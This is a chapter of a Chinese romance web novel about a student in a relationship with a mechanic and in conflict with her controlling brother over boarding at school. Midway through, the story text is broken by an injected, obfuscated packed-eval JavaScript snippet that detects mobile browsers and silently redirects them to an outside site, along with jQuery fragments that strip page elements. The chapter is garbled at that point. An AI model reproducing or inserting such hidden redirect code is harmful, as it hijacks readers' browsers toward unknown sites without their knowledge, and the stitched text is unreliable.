22. 住宿
作品:《自食苦果》 科学研究表明,人类大脑并非依赖物理时钟感知时间,而是通过记录事件数量和神经活动强度来主观判断时长。
对黎予礼来说,能和孟尽桀一起做的事情太多太多,大脑神经活动也前所未有地强烈。
她开始觉得时间过得太快了。
孟尽桀搭着她,行驶在川流不息的车群里,却不想时间还是追上了他的引擎。
逾桐市的冬天像一杯快速降温的冷茶,袅袅的雾气散去,留下远处山脉的棱角在寒风中愈发锐利。
不知不觉间,黎予礼已经和孟尽桀一起看了十九次日落。
有时天不晴。
有时心难宁。
有时在修车行的破铜烂铁里听雨声淅淅沥沥,水滴落在身体上漾起涟漪。
有时在孟尽桀的结实怀抱里情难自已地喘息,像窗外天气那样翻云覆雨。
黎予礼觉得孟尽桀很幸运。
能遇到这个年纪的她。
修车行和启承私立中学之间的距离对她来说好像也被无限拉长。她经常希望自己在学校的时间少一些,在孟尽桀车后座的时间多一些。
对此孟尽桀义正言辞表示拒绝,理由是她必须把学习放在第一位。
“我不能耽误你学习。”他抱着她说,亲密的动作未免太没有说服力。
黎予礼点头:“我可以耽误你工作。”
“哈哈。”他又被她逗笑,总是很轻易地、毫无防备地对她露出尖尖的虎牙。
修车行的机油味偶尔会蔓延到房间里来,孟尽桀特意去买了一款据说能够助眠的香薰。
黎予礼闻了之后没说什么,只觉得还是黎宴琛房间里的桃子味更好闻。
不过这张下面垫着轮胎的床已经被她睡习惯了,像现在这样躺在孟尽桀臂弯里会让她感到极为放松。
“复读应该很辛苦吧?”孟尽桀几乎天天把这句话挂在嘴边。
黎予礼听得耳朵都快起了茧:“辛不辛苦都是我自己选的。”
男人闻言露出一副欣慰的表情,搂在她腰际的手不安分地开始给她按摩。
不过这样的力道对她来说和撩拨没区别。
“对了,”她懒懒地掀起眼皮,“我是可以考驾照的对吧?”
基础准驾车型年龄要求18周岁以上,黎予礼完全符合。
孟尽桀低头看她:“你想学车?”
她“嗯”了一声,又倒回他怀里闭目养神,“想开你那架车。”
“啊?”他微微支起上半身,神情似是有些惊讶,“我还以为你说的是四轮车呢。”
“四轮车没意思。”她淡淡道。
反正黎宴琛那辆宾利坐起来就很没意思。
“但是摩托车不太安全,”孟尽桀想劝她三思,“人家是铁包肉,我们是肉包铁。”
“不安全你还载我?”
“有我在你就是安全的。”
不知道为什么这句话让黎予礼有些不舒服,她坐起身离开孟尽桀的怀抱。
挺直的脊背透着倔:“连你都能确保我的安全,那我自己更不会把自己置于危险。”
孟尽桀没打算和她争执,凑上去从背后抱住她,脑袋搭在她肩膀上,柔声答应:“你想学我就教你,或者替你找一个更好的驾校教练。”
“你教我?”黎予礼偏头挑眉。
他下巴轻轻抵着她颈窝,点头的动作弄得她有些痒。
“上次让你教我抽烟还一百个不情愿。”她向来记仇,旧事重提。
他对比自己小五岁的人撒起娇来也毫不含糊:“抽烟有害身体健康嘛宝贝,我们应该多做对身心有益的事情。”
“比如说?”黎予礼失笑,确实很吃他这套,“飙车兜风看日落?还是……”
她故意耸起肩膀,把他的脑袋顶起来,再凑上去轻轻咬住他耳垂,把那两个字音悄悄送进去。
孟尽桀分不清自己的耳朵是被她咬红的还是羞红的。
他总是心甘情愿地上钩。
“好了我该走了。”黎予礼并不打算奖励他,拍拍屁股下了床。
她捡起散落在地上的外套,衣物不知何时沾上了些许机油的味道。
不算难闻。
她没太在意。
“今天走这么早?”孟尽桀满眼失落。
以往周六下了自习课坐着专属接驾来到这里,黎予礼会待到晚上九点左右,再不济也是天黑才走。
还被红毛开玩笑说是从不落下水晶鞋的公主。
“我小姨和我哥打报告了,说我每个周末都在外面待到很晚才回家。”她正在穿袜子,脚边的鞋东一只西一只。
孟尽桀翻身下床,单膝蹲到她腿边,一边替她托着鞋底一边问:“你不是说你把定位器挂在书包上就是为了让你哥知道你在哪里鬼混吗?”
她那天突发奇想,让孟尽桀帮她给定位器找个挂绳,她要时刻栓在书包拉链上。
于是它代替了那枚手工钥匙扣。
“是,”黎予礼穿好鞋子站起来踏了两下地板,“但他好像揣着明白装糊涂,压根没问过什么。”
“那你还特意这么早回去?”
“舍不得我啊?”
黎予礼拎起书包,见他完全没有要出门的意思——她还得靠他骑车送呢。
“我舍不得的话你可以多待一会儿吗?”孟尽桀上半身还赤裸着,裤子松松垮垮地挂在腰际,露出清晰的人鱼线。
他平时就是用这副不要脸的模样让黎予礼心软。
但她今天心似铜墙铁壁,面对男人明晃晃的勾引,毫不动摇:“你不送我的话我自己打车了。”
“送,我送。”妥协的永远是孟尽桀。
她看着男人穿衣服的动作,悠悠开口:“我是怕我哥找你麻烦。”
“……找我麻烦?”孟尽桀刚穿上自己的皮衣外套,下意识耸动肩膀。
黎予礼只是随口一说。
如今的她完全想不到黎宴琛会做什么。
“反正我高考结束那会儿谈恋爱他挺生气的,”她扁了扁嘴角,“更何况我现在还在备考阶段,他可能会觉得我‘不务正业’吧。”
孟尽桀忽然眯起眼,仿佛在回忆那天黎宴琛来修车行带走黎予礼时的画面。
沉默半晌,他说:“你哥对你是不是……”
未尽的话语里是荒谬的猜测。
黎予礼难得没有读懂他眼神里的复杂情绪,双手抱臂靠在房间门口问:“是什么?管太多?”
孟尽桀没有接话,她自顾自往下说:“他就是这样的,自从我们失去双亲后他就一直这么管着我。”
她一直把黎宴琛对她密不透风的爱归结于他们彼此年幼丧亲,直至知晓他们彼此之间没有血缘关系的那一刻。
但不知为何她对孟尽桀有所隐瞒。
也许是那日黎宴琛抱着她说的话让她意识到这段虚假的兄妹关系或许太过扭曲。
她不想让孟尽桀知道她活在这样畸形的家庭里。
不想让孟尽桀知道她的弱点。
“……啊。”孟尽桀重点偏移。
他从未听黎予礼提起过家人,除了黎宴琛。
“对不起啊,我不知道……”
黎予礼打断他道歉:“我就是不想听你说‘对不起’才一直没告诉你。”
从小到大,每每谈及妈妈和爸爸的离世,她都会看到别人露出这样的神情。
也许是惋惜,也许是可怜。
更多的是抱歉。
但她不明白为什么要感到抱歉,又不是他们害得她没了双亲。
所以在关于家人的话题上,她通常只会表明自己有一个哥哥,其余不再赘述。
“走吧,我送你回去。”
孟尽桀深吸一气,整理好思绪,又换上自己的招牌笑容。
黎予礼满意地点点头。
满意他的边界感,满意他的闭口不谈。
她在和孟尽桀的交往中认识到亲密关系并不需要毫无保留地付出,但可以毫不保留地享受。
毕竟是由多巴胺带来的愉悦,只要能主导,就没必要较真。
孟尽桀几乎对她言听计从,除了在学习上。
她时常怀疑自己找了个监督员当男朋友,除了掐表盯她学习外,偶尔还兼职辅导一些老师讲评略过的题目。
如果她在上课的时候开小差给他发消息,那绝对会遭到严肃对待。
具体措施是孟尽桀会把机车开得比电驴还慢。
不过这招对黎予礼来说挺受用的,为了能够好好享受飙车,她已经完全戒掉了上课玩手机的坏习惯。
过程虽有不满,但在看到自己一模成绩较之前次提高了五十多分时,黎予礼不得不承认孟尽桀的“劳逸结合法”确实有效。
她趁下课时间掏出手机,把成绩条拍给他看。
【(图片)】
【夸我】
孟尽桀隔了大概五分钟才回复。
【刚刚在修车】
【进步这么大!】
【晚上想去哪儿玩?我载你】
黎予礼看着手机屏幕微微勾唇,心情大好,但偏偏想要使坏。
【今晚还有小测欸】
【来不及的吧】
孟尽桀:【以我的车速去哪来不及?】</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792899|174100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她笑意更深,却故意让他吃瘪。
【不说了】
【要上课了】
【我男朋友不让我上课玩手机】
光是想象一下孟尽桀看到消息时的表情,枯燥的英语课也能变得有趣。
她不再厌烦复读生活。
反而想和孟尽桀一起生活。
但黎予礼不傻,如果直接提出自己要和一个家里人完全不知底细的男人一起住,她的腿怕是要被打断。
况且她这样做多少有些恋爱脑。
孟尽桀见她学车的时候还心不在焉,假装生气:“老师的耐心也是有限的。”
她回过神,坐在车上一把拽过孟尽桀的衣领,敷衍地在他嘴角落下一吻:“男朋友的耐心是无限的。”
孟尽桀无法否认,但出于安全考虑还是暂时叫停了这项活动。
他单手把黎予礼从车上抱下来,说:“你在想什么?有什么烦心事吗?”
“我在想,”她眼珠子一转,化用红毛开过的玩笑,“我能不能不当到点就要回家的公主。”
孟尽桀猜中她的心思:“你想在我这儿住?”
但他很快又自我反驳:“你哥不会同意的吧?”
何止啊。
说不定能把孟尽桀的腿也打断了。
黎予礼叹了口气:“所以我在想怎样才能实现。”
“你可以住学校呀,启承宿舍条件很好,离我这又很近,我随时可以去接你。”孟尽桀很快提出方案。
“好主意啊。”黎予礼很快采纳。
这个办法既能满足她想在修车行待久一点的愿望,又不会让家里人觉得不妥当——
——“不行,”小姨觉得不妥,“住家里不好吗?为什么想住学校呢予礼?”
黎予礼失策了,胡乱找借口搪塞:“住校的话我早上可以多睡一会儿,下了晚修在教室自习到很晚也方便回去。”
黎蓝瑛还是不同意:“要不你问问你哥,小姨是不太希望你住宿的,学校肯定比不上家里舒服呀。”
“……”她不说话了。
问黎宴琛等于死路一条。
本来好好的住宿申请只要黎蓝瑛签个字就能上交学校,结果她还是得拿这张薄薄的纸,硬着头皮去找黎宴琛。
但黎家人都是一个德行,这个不同意那个也不同意。
黎宴琛好不容易来黎蓝瑛家和她见一次面,看到需要签字的“启承中学寄宿申请书”时却冷眼开口:“小姨这里住不惯的话就跟我回家。”
“……”黎予礼瞪眼看他。
让她来这儿的是他,叫她回去的也是他。把她当成皮球吗?能被随意踢来又踢去。
“不签算了。”她恶狠狠地把纸揉成一团攥着手里。
起身回房前扔下一句“如果是我亲哥的话肯定会答应我的”。
黎宴琛立马追上去拉住她:“你说什么?”
“我说,”黎予礼抬手想要挣脱,“我真正的亲人才不会这样对我,又是装定位器又是逼我住家里——”
“——你放手!”她故意拔高这三个字的音量。
吸引了在楼上休息的黎蓝瑛。
“怎么啦?”小姨的问话从房里传出,紧接着就是开门和渐近的脚步声。
“哎哟你们兄妹俩都多久不见了,一见面就吵架啊?”黎蓝瑛快步走下来劝架。
黎宴琛这才舍得松开黎予礼的手。
小姨家里的暖气吹得人有些头晕。
她找借口说不舒服先回房了。
留黎蓝瑛在原地数落黎宴琛,唠唠叨叨好几句当哥哥的应该让着妹妹。
这些话黎青瑶生前也经常说,黎予礼现在觉得黎宴琛真的是听到梦里去了,丝毫没有践行。
回到房间,她把手里的纸团扔进垃圾桶。
掏出手机告诉孟尽桀这个坏消息。
【计划失败】
【我哥不同意】
孟尽桀一直没有回复。
大概是在忙吧。
今天是周日,但修车行除了春节外全年无休,孟尽桀拧了一整天的扳手。
好不容易停下来喘口气时,天色早已暗了,他抬起手臂用衣袖擦去额头上的汗珠。
一工作起来就忘了逾桐市冬夜寒冷,卷帘门外呼啸的风凉意沁骨,顺着汗湿的脊背攀上头皮。
他才打开手机,看到黎予礼给他发的消息。
不等他思考该如何安慰自己的公主,门外突然传来不速之客的脚步声。
——皮鞋踏过水泥路面发出的脆响。
他握着手机抬头,对上了一双充满攻击性的眼眸。